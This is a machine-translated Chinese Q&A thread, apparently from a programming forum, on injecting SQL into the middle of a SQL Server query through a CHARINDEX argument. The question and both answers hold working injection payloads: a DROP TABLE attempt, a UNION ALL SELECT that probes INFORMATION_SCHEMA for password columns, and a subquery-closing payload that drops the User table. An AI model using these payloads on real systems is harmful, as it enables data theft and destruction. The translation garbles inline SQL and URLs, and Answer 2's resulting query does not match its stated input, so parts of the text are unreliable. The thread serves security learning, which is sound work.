SQL注入mid查询

Question

我想提高对可能存在的SQL注入攻击的了解。我知道参数化完全避免了SQL注入风险，因此应该在任何地方应用。然而，当有人问我如何利用它时，我想得到一个答案。

我知道基本的SQL注入攻击是如何工作的。例如，一个网站有一个页面<代码>网站。com/users/{id}其中id是用户的主键。如果我们完全信任输入，只需将id参数传递给正在执行的查询，这可能会产生可怕的后果。如果是网站。com/users/1查询变为从[用户]中选择*，其中[Id]=1。然而，在网站的情况下。com/users/1；DROP TABLE User查询变为从[用户]中选择*，其中[Id]=1；删除表用户，导致糟糕的结果。

但是，我读到的几乎所有SQL注入攻击都依赖于注入之前出现的WHERE子句。几乎总是，注入以某种形式工作；注入语句--。

我的问题是，如果给定如下查询，是否也可以执行SQL注入攻击？或者从更广泛的意义上说：是否必须编译整个语句才能进行SQL注入攻击，或者语句中的任何错误都会导致攻击失败？如果每个DBMS的答案不同，请指定DBMS。

在下面的查询中，注入应该发生在CHARINDEX（'input'，[Name]）中

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

我得到的最远的结果是下面的查询，但它返回的错误，缺少结束注释标记“*/”，似乎完全阻止了任何攻击。

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

Answer 1

SQL注入通常发生在涉及某种字符串连接/插入操作的情况下。它不必是WHERE子句。此外，一般来说，攻击者对删除表不感兴趣，他需要信息。如果将输入替换为：

', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --

假设选择的结果以某种方式显示并且还显示了错误消息，攻击者需要几分钟的时间来确定他应该在查询实际返回之前添加的、NULL的数量和位置他想在下一阶段探测的表和列的名称。

Answer 2

生成的SQL必须被特定的DBMS接受才能进行注入，这通常意味着它需要SQL有效，但通常有一些方法可以制作输入以使其有效，而不管所讨论的SQL如何。

如果行注释不够，可以添加额外的语句；如果不允许使用多个语句，则可以使用联合；等等

确切的详细信息各不相同，但如果对查询有足够的了解（例如，通过向用户泄漏错误详细信息）或侥幸猜测，通常可以制作一些对攻击者有利的东西。

在您的示例中，考虑此输入，它只是重复现有查询的一部分：

nonsense', [Name]) > 0
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense

这将导致以下SQL：

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]